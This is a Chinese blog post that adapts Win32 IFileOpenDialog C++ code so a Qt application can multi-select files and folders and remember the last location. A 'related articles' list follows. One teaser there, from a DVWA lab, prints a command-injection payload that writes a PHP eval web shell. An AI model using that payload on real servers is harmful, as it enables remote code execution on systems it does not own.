让Qt 具有多选文件夹和记忆上一次打开位置的文件对话框

最近要做一个可以多选文件夹的功能,在网上查阅了多个资料,发现github有一段代码可以实现该功能,于是将其收入进行改造。另外qt自带的 getExistingDirectory 和 getOpenFileNames 不具有记忆上一次打开的文件夹位置。要实现多选文件夹和记忆上一次打开位置能用到的就只有IFileOpenDialog 接口了。
原代码如下
出处:https://gist.github.com/0xF5T9/3f3203950f480d348aa6d99850a26016

#include <iostream>
#include <windows.h>
#include <shobjidl.h>
#include <string>
#include <vector>

/**
 * @brief Open a dialog to select item(s) or folder(s).
 * @param paths Specifies the reference to the string vector that will receive the file or folder path(s). [IN]
 * @param selectFolder Specifies whether to select folder(s) rather than file(s). (optional)
 * @param multiSelect Specifies whether to allow the user to select multiple items. (optional)
 * @note If no item(s) were selected, the function still returns true, and the given vector is unmodified.
 * @note `<windows.h>`, `<string>`, `<vector>`, `<shobjidl.h>`
 * @return Returns true if all the operations are successfully performed, false otherwise.
 */
bool OpenFileDialog(std::vector<std::wstring> &paths, bool selectFolder = false, bool multiSelect = false)
{
    IFileOpenDialog *p_file_open = nullptr;
    bool are_all_operation_success = false;
    while (!are_all_operation_success)
    {
        HRESULT hr = CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_ALL,
                                      IID_IFileOpenDialog, reinterpret_cast<void **>(&p_file_open));
        if (FAILED(hr))
            break;

        if (selectFolder || multiSelect)
        {
            FILEOPENDIALOGOPTIONS options = 0;
            hr = p_file_open->GetOptions(&options);
            if (FAILED(hr))
                break;

            if (selectFolder)
                options |= FOS_PICKFOLDERS;
            if (multiSelect)
                options |= FOS_ALLOWMULTISELECT;

            hr = p_file_open->SetOptions(options);
            if (FAILED(hr))
                break;
        }

        hr = p_file_open->Show(NULL);
        if (hr == HRESULT_FROM_WIN32(ERROR_CANCELLED)) // No items were selected.
        {
            are_all_operation_success = true;
            break;
        }
        else if (FAILED(hr))
            break;

        IShellItemArray *p_items;
        hr = p_file_open->GetResults(&p_items);
        if (FAILED(hr))
            break;
        DWORD total_items = 0;
        hr = p_items->GetCount(&total_items);
        if (FAILED(hr))
            break;

        for (int i = 0; i < static_cast<int>(total_items); ++i)
        {
            IShellItem *p_item;
            p_items->GetItemAt(i, &p_item);
            if (SUCCEEDED(hr))
            {
                PWSTR path;
                hr = p_item->GetDisplayName(SIGDN_FILESYSPATH, &path);
                if (SUCCEEDED(hr))
                {
                    paths.push_back(path);
                    CoTaskMemFree(path);
                }
                p_item->Release();
            }
        }

        p_items->Release();
        are_all_operation_success = true;
    }

    if (p_file_open)
        p_file_open->Release();
    return are_all_operation_success;
}

/**
 * @brief Open a dialog to save an item.
 * @param path Specifies the reference to the string that will receive the target save path. [IN]
 * @param defaultFileName Specifies the default save file name. (optional)
 * @param pFilterInfo Specifies the pointer to the pair that contains filter information. (optional)
 * @note If no path was selected, the function still returns true, and the given string is unmodified.
 * @note `<windows.h>`, `<string>`, `<vector>`, `<shobjidl.h>`
 * @return Returns true if all the operations are successfully performed, false otherwise.
 */
bool SaveFileDialog(std::wstring &path, std::wstring defaultFileName = L"", std::pair<COMDLG_FILTERSPEC *, int> *pFilterInfo = nullptr)
{
    IFileSaveDialog *p_file_save = nullptr;
    bool are_all_operation_success = false;
    while (!are_all_operation_success)
    {
        HRESULT hr = CoCreateInstance(CLSID_FileSaveDialog, NULL, CLSCTX_ALL,
                                      IID_IFileSaveDialog, reinterpret_cast<void **>(&p_file_save));
        if (FAILED(hr))
            break;

        if (!pFilterInfo)
        {
            COMDLG_FILTERSPEC save_filter[1];
            save_filter[0].pszName = L"All files";
            save_filter[0].pszSpec = L"*.*";
            hr = p_file_save->SetFileTypes(1, save_filter);
            if (FAILED(hr))
                break;
            hr = p_file_save->SetFileTypeIndex(1);
            if (FAILED(hr))
                break;
        }
        else
        {
            hr = p_file_save->SetFileTypes(pFilterInfo->second, pFilterInfo->first);
            if (FAILED(hr))
                break;
            hr = p_file_save->SetFileTypeIndex(1);
            if (FAILED(hr))
                break;
        }

        if (!defaultFileName.empty())
        {
            hr = p_file_save->SetFileName(defaultFileName.c_str());
            if (FAILED(hr))
                break;
        }

        hr = p_file_save->Show(NULL);
        if (hr == HRESULT_FROM_WIN32(ERROR_CANCELLED)) // No item was selected.
        {
            are_all_operation_success = true;
            break;
        }
        else if (FAILED(hr))
            break;

        IShellItem *p_item;
        hr = p_file_save->GetResult(&p_item);
        if (FAILED(hr))
            break;

        PWSTR item_path;
        hr = p_item->GetDisplayName(SIGDN_FILESYSPATH, &item_path);
        if (FAILED(hr))
            break;
        path = item_path;
        CoTaskMemFree(item_path);
        p_item->Release();

        are_all_operation_success = true;
    }

    if (p_file_save)
        p_file_save->Release();
    return are_all_operation_success;
}

int main()
{
    HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE);
    if (FAILED(hr))
    {
        std::cout << "Failed to initialize COM library.\n";
        return -1;
    }

    // Select an example.
    std::cout << "1. Select an item.\n";
    std::cout << "2. Select a folder.\n";
    std::cout << "3. Select multiple items.\n";
    std::cout << "4. Save an item.\n";
    std::cout << "5. Save an item with filters.\n";
    std::cout << "Select an example: ";
    int choice = 0;
    std::cin >> choice;
    switch (choice)
    {
    // Example: Select an item.
    case 1:
    {
        std::vector<std::wstring> paths;
        if (OpenFileDialog(paths))
        {
            if (!paths.empty())
            {
                std::cout << "Total items: " << paths.size() << "\n";
                for (int i = 0; i < static_cast<int>(paths.size()); ++i)
                    std::wcout << L"Path " << std::to_wstring(i + 1) << L": " << paths[i] << L"\n";
            }
            else
                std::cout << "No item were selected.\n";
        }

        break;
    }
    // Example: Select a folder.
    case 2:
    {
        std::vector<std::wstring> paths;
        if (OpenFileDialog(paths, true))
        {
            if (!paths.empty())
            {
                std::cout << "Total items: " << paths.size() << "\n";
                for (int i = 0; i < static_cast<int>(paths.size()); ++i)
                    std::wcout << L"Path " << std::to_wstring(i + 1) << L": " << paths[i] << L"\n";
            }
            else
                std::cout << "No item were selected.\n";
        }

        break;
    }
    // Example: Select multiple items.
    case 3:
    {
        std::vector<std::wstring> paths;
        if (OpenFileDialog(paths, false, true))
        {
            if (!paths.empty())
            {
                std::cout << "Total items: " << paths.size() << "\n";
                for (int i = 0; i < static_cast<int>(paths.size()); ++i)
                    std::wcout << L"Path " << std::to_wstring(i + 1) << L": " << paths[i] << L"\n";
            }
            else
                std::cout << "No item were selected.\n";
        }

        break;
    }
    // Example: Save an item.
    case 4:
    {
        std::wstring path = L"";
        if (SaveFileDialog(path, L"Some file.txt"))
        {
            if (!path.empty())
            {
                std::wcout << L"Selected save path:  " << path << L"\n";
            }
            else
                std::cout << "No item were selected.\n";
        }

        break;
    }
    // Example: Save an item with filters.
    case 5:
    {
        std::wstring path = L"";
        const unsigned int total_filters = 3;
        COMDLG_FILTERSPEC filters[total_filters];
        filters[0].pszName = L"All files. (*.*)";
        filters[0].pszSpec = L"*.*";
        filters[1].pszName = L"Image files. (.bmp, .jpg, .png)";
        filters[1].pszSpec = L"*.bmp;*.jpg;*.png";
        filters[2].pszName = L"Specific file. (unique_file.txt)";
        filters[2].pszSpec = L"unique_file.txt";
        std::pair<COMDLG_FILTERSPEC *, int> filter_info = std::make_pair<COMDLG_FILTERSPEC *, int>(filters, total_filters);
        if (SaveFileDialog(path, L"", &filter_info))
        {
            if (!path.empty())
            {
                std::wcout << L"Selected save path: " << path << L"\n";
            }
            else
                std::cout << "No item were selected.\n";
        }

        break;
    }
    }

    CoUninitialize();

    return 0;
}
	std::vector<std::pair<std::wstring, std::wstring>> filters = {
		{L"文件类型(*.txt)", L"*.txt"},        // 过滤 .txt 文件
		
	};		
	if (auto files = GetOpenFileNames(L"导入转换的TXT文件", true, filters);files.has_value())
	{
		for (const auto& filename : files.value())
		{
		    ...
		}
	}

于是将其中的OpenFileDialog函数拿来进行改造:分别是选择文件 GetOpenFileNames 和文件夹 GetExistingDirectorys

使用时需要加入以下几个头文件:

#include <windows.h>
#include <shobjidl.h>
#include <string>
#include <vector>
#include<optional>

GetOpenFileNames 函数定义如下:

std::optional<std::vector <std::wstring>> GetOpenFileNames(const std::wstring& dialogTitle, bool multiSelect, const std::vector<std::pair<std::wstring, std::wstring>>& filters)
{
	IFileOpenDialog* p_file_open = nullptr;
	bool are_all_operation_success = false;
	std::optional<std::vector <std::wstring>>files;
	while (!are_all_operation_success)
	{
		// Create the file dialog instance
		HRESULT hr = CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_ALL,
			IID_IFileOpenDialog, reinterpret_cast<void**>(&p_file_open));
		if (FAILED(hr))
			break;

		// Set dialog title if specified
		if (!dialogTitle.empty())
		{
			hr = p_file_open->SetTitle(dialogTitle.c_str());
			if (FAILED(hr))
				break;
		}

		// Handle folder selection and multi-select options
		if ( multiSelect)
		{
			FILEOPENDIALOGOPTIONS options = 0;
			hr = p_file_open->GetOptions(&options);
			if (FAILED(hr))
				break;					
			options |= FOS_ALLOWMULTISELECT;
			hr = p_file_open->SetOptions(options);
			if (FAILED(hr))
				break;
		}
		if (!filters.empty())
		{
			std::vector<COMDLG_FILTERSPEC> filterSpecs;

			for (const auto& filter : filters)
			{
				COMDLG_FILTERSPEC spec;
				spec.pszName = filter.first.c_str();  // Filter name as LPCWSTR
				spec.pszSpec = filter.second.c_str(); // File spec (e.g. "*.txt") as LPCWSTR
				filterSpecs.push_back(spec);
			}

			// Now, we correctly call SetFileTypes to set the filter
			hr = p_file_open->SetFileTypes(static_cast<UINT>(filterSpecs.size()), filterSpecs.data());
			if (FAILED(hr))
			{
				// If it failed, we break the loop
				break;
			}
		}

		// Show the dialog
		hr = p_file_open->Show(NULL);
		if (hr == HRESULT_FROM_WIN32(ERROR_CANCELLED)) // No items were selected.
		{
			are_all_operation_success = true;
			break;
		}
		else if (FAILED(hr))
			break;

		// Retrieve the selected items
		IShellItemArray* p_items;
		hr = p_file_open->GetResults(&p_items);
		if (FAILED(hr))
			break;

		DWORD total_items = 0;
		hr = p_items->GetCount(&total_items);
		if (FAILED(hr))
			break;

		// Iterate over the selected items and add their paths to the vector
		for (int i = 0; i < static_cast<int>(total_items); ++i)
		{
			IShellItem* p_item;
			p_items->GetItemAt(i, &p_item);
			if (SUCCEEDED(hr))
			{
				PWSTR path;
				hr = p_item->GetDisplayName(SIGDN_FILESYSPATH, &path);
				if (SUCCEEDED(hr))
				{
					if(!files.has_value())
					{
						files.emplace();
					}
					files->emplace_back(path);				
					CoTaskMemFree(path);
				}
				p_item->Release();
			}
		}

		p_items->Release();
		are_all_operation_success = true;
	}

	if (p_file_open)
		p_file_open->Release();
	CoUninitialize();
	return  files ;
}



GetExistingDirectorys函数定义如下:

std::optional<std::vector<std::wstring>> GetExistingDirectorys(const std::wstring& dialogTitle, bool multiSelect)
{
	IFileOpenDialog* p_file_open = nullptr;
	bool are_all_operation_success = false;
	std::optional<std::vector<std::wstring>> paths;
	while (!are_all_operation_success)
	{
		// Create the file dialog instance
		HRESULT hr = CoCreateInstance(CLSID_FileOpenDialog, NULL, CLSCTX_ALL,
			IID_IFileOpenDialog, reinterpret_cast<void**>(&p_file_open));
		if (FAILED(hr))
			break;

		// Set dialog title if specified
		if (!dialogTitle.empty())
		{
			hr = p_file_open->SetTitle(dialogTitle.c_str());
			if (FAILED(hr))
				break;
		}

		// Handle folder selection and multi-select options
		if ( multiSelect)
		{
			FILEOPENDIALOGOPTIONS options = 0;
			hr = p_file_open->GetOptions(&options);
			if (FAILED(hr))
				break;			
					
		    options |= FOS_ALLOWMULTISELECT|FOS_PICKFOLDERS;
			hr = p_file_open->SetOptions(options);
			if (FAILED(hr))
				break;
		}	

		// Show the dialog
		hr = p_file_open->Show(NULL);
		if (hr == HRESULT_FROM_WIN32(ERROR_CANCELLED)) // No items were selected.
		{
			are_all_operation_success = true;
			break;
		}
		else if (FAILED(hr))
			break;

		// Retrieve the selected items
		IShellItemArray* p_items;
		hr = p_file_open->GetResults(&p_items);
		if (FAILED(hr))
			break;

		DWORD total_items = 0;
		hr = p_items->GetCount(&total_items);
		if (FAILED(hr))
			break;

		// Iterate over the selected items and add their paths to the vector
		for (int i = 0; i < static_cast<int>(total_items); ++i)
		{
			IShellItem* p_item;
			p_items->GetItemAt(i, &p_item);
			if (SUCCEEDED(hr))
			{
				PWSTR path;
				hr = p_item->GetDisplayName(SIGDN_FILESYSPATH, &path);
				if (SUCCEEDED(hr))
				{
					if(!paths.has_value())
					{
						paths.emplace();
					}
					paths->emplace_back(path);
					CoTaskMemFree(path);
				}
				p_item->Release();
			}
		}

		p_items->Release();
		are_all_operation_success = true;
	}

	if (p_file_open)
		p_file_open->Release();
	CoUninitialize();

	return paths;

}

//使用例子:
std::wstring dialogTitle = L"选择资料的文件夹";	
if (auto selectedPaths = GetExistingDirectorys(dialogTitle, true); selectedPaths.has_value())
{
	for (const auto& dir : selectedPaths.value())
	{
		 ...
	}				
}	

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/948123.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【小程序开发】- 小程序版本迭代指南(版本发布教程)

一&#xff0c;版本号 版本号是小程序版本的标识&#xff0c;通常由一系列数字组成&#xff0c;如 1.0.0、1.1.0 等。版本号的格式通常是 主版本号.次版本号.修订号 主版本号&#xff1a;当小程序有重大更新或不兼容的更改时&#xff0c;主版本号会增加。 次版本号&#xff1a…

基于微信小程序投票评选系统的设计与实现ssm+论文源码调试讲解

第4章 系统设计 4.1 系统设计的原则 在系统设计过程中&#xff0c;也需要遵循相应的设计原则&#xff0c;这些设计原则可以帮助设计者在短时间内设计出符合设计规范的设计方案。设计原则主要有可靠性&#xff0c;安全性&#xff0c;可定制化&#xff0c;可扩展性&#xff0c;可…

库伦值自动化功耗测试工具

1. 功能介绍 PlatformPower工具可以自动化测试不同场景的功耗电流&#xff0c;并可导出为excel文件便于测试结果分析查看。测试同时便于后续根据需求拓展其他自动化测试用例。 主要原理&#xff1a;基于文件节点 coulomb_count 实现&#xff0c;计算公式&#xff1a;电流&…

AWS re:Invent 的创新技术

本月早些时候&#xff0c;Amazon 于 12 月 1 日至 5 日在内华达州拉斯维加斯举行了为期 5 天的 re&#xff1a;Invent 大会。如果您从未参加过 re&#xff1a;Invent 会议&#xff0c;那么最能描述它的词是“巨大”——不仅从与会者人数&#xff08;60,000 人&#xff09;来看&…

DVWA 命令注入写shell记录

payload 127.0.0.1;echo "<?php eval($_POST["md"]);?>" > md.php 成功写入&#xff0c;访问查看 成功解析

lua库介绍:数据处理与操作工具库 - leo

leo库简介 leo 模块的创作初衷旨在简化数据处理的复杂流程&#xff0c;提高代码的可读性和执行效率&#xff0c;希望leo 模块都能为你提供一系列便捷的工具函数&#xff0c;涵盖因子编码、多维数组创建、数据框构建、列表管理以及管道操作等功能。 要使用 Leo 模块&#xff0c;…

第10章图10.1-10.5《分析模式》原图和UML图对比

DDD领域驱动设计批评文集 做强化自测题获得“软件方法建模师”称号 《软件方法》各章合集

用Tkinter制作一个用于合并PDF文件的小程序

需要安装PyPDF2库&#xff0c;具体原代码如下&#xff1a; # -*- coding: utf-8 -*- """ Created on Sun Dec 29 14:44:20 2024author: YBK """import PyPDF2 import os import tkinter as tk import windndpdf_files [] def dragged_files(f…

K210识别技术简介与基础使用方法

目录 一、K210芯片概述 二、K210的硬件配置与开发环境 1. 硬件配置 2. 开发环境 三、K210的识别技术基础 1. 图像识别 2. 语音识别 四、K210识别技术的基础使用方法 1. 图像识别基础使用 2. 语音识别基础使用 五、K210识别技术的应用场景 六、总结与展望 一、K210芯…

Linux下实现磁盘挂载

一&#xff1a;查看磁盘挂载和分区情况 使用如下命令查看磁盘的挂载和分区情况 fdisk -l 如上可以看出/dev/sdb未进行挂载分区 二&#xff1a;磁盘分区 1:分区 fdisk /dev/sdb 根据上图中的红框内的信息进行操作 2&#xff1a;检查是否分区成功 fdisk -l 如上可以看到/d…

009:传统计算机视觉之边缘检测

本文为合集收录&#xff0c;欢迎查看合集/专栏链接进行全部合集的系统学习。 合集完整版请参考这里。 本节来看一个利用传统计算机视觉方法来实现图片边缘检测的方法。 什么是边缘检测&#xff1f; 边缘检测是通过一些算法来识别图像中物体之间或者物体与背景之间的边界&…

Java SpringBoot使用Apache POI导入导出Excel文件

点击下载《Java SpringBoot使用Apache POI导入导出Excel文件(源代码)》 1. Apache POI 简介 Apache POI 是一个强大的 Java 库&#xff0c;用于处理 Microsoft Office 文档&#xff0c;包括 Excel 文件&#xff08;.xls 和 .xlsx&#xff09;。在 Java Spring Boot 项目中&am…

基于Spring Boot的健康饮食管理系统

一、系统架构与技术栈 系统架构&#xff1a;系统通常采用典型的三层架构设计&#xff0c;分为表现层、业务逻辑层和数据访问层。表现层负责与用户进行交互&#xff0c;展示信息和接收用户输入&#xff1b;业务逻辑层处理系统的核心业务&#xff0c;如用户信息管理、饮食记录分…

Maven 详细配置:Maven 项目 POM 文件解读

Maven 是 Java 开发领域中广泛使用的项目管理和构建工具&#xff0c;通过其核心配置文件——POM&#xff08;Project Object Model&#xff09;文件&#xff0c;开发者能够定义项目的基本信息、依赖关系、插件配置以及构建生命周期等关键要素。POM 文件不仅是 Maven 项目的核心…

计算机网络 (23)IP层转发分组的过程

一、IP层的基本功能 IP层&#xff08;Internet Protocol Layer&#xff09;是网络通信模型中的关键层&#xff0c;属于OSI模型的第三层&#xff0c;即网络层。它负责在不同网络之间传输数据包&#xff0c;实现网络间的互联。IP层的主要功能包括寻址、路由、分段和重组、错误检测…

pip安装paddle失败

一、pip安装paddle失败&#xff0c;报错如下 Preparing metadata (setup.py) ... error error: subprocess-exited-with-error import common, dual, tight, data, prox ModuleNotFoundError: No module named common [end of output] 二、解决方法&#xff1a; 按照提示安装对…

计算机网络 (19)扩展的以太网

前言 以太网&#xff08;Ethernet&#xff09;是一种局域网&#xff08;LAN&#xff09;技术&#xff0c;它规定了包括物理层的连线、电子信号和介质访问层协议的内容。以太网技术不断演进&#xff0c;从最初的10Mbps到如今的10Gbps、25Gbps、40Gbps、100Gbps等&#xff0c;已成…

企业二要素如何用java实现

一、什么是企业二要素&#xff1f; 企业二要素&#xff0c;通过输入统一社会信用代码、企业名称或统一社会信用代码、法人名称&#xff0c;验证两者是否匹配一致。 二、企业二要素适用哪些场景&#xff1f; 例如&#xff1a;企业日常运营 1.文件与资料管理&#xff1a;企业…

企业三要素如何用PHP实现调用

一、什么是企业三要素&#xff1f; 企业三要素即传入的企业名称、法人名称、社会统一信用代码或注册号&#xff0c;校验此三项是否一致。 二、具体怎么样通过PHP实现接口调用&#xff1f; 下面我们以阿里云为例&#xff0c;通过PHP示例代码进行调用&#xff0c;参考如下&…

一份完整的软件测试报告如何编写?

在软件开发的过程中&#xff0c;测试是必不可少的环节。然而&#xff0c;测试报告往往是最被忽视的部分。你是否也曾在忙碌的测试工作后&#xff0c;面对一份模糊不清的测试报告感到头疼&#xff1f;一份清晰、完整且结构合理的测试报告&#xff0c;能够帮助团队快速了解软件的…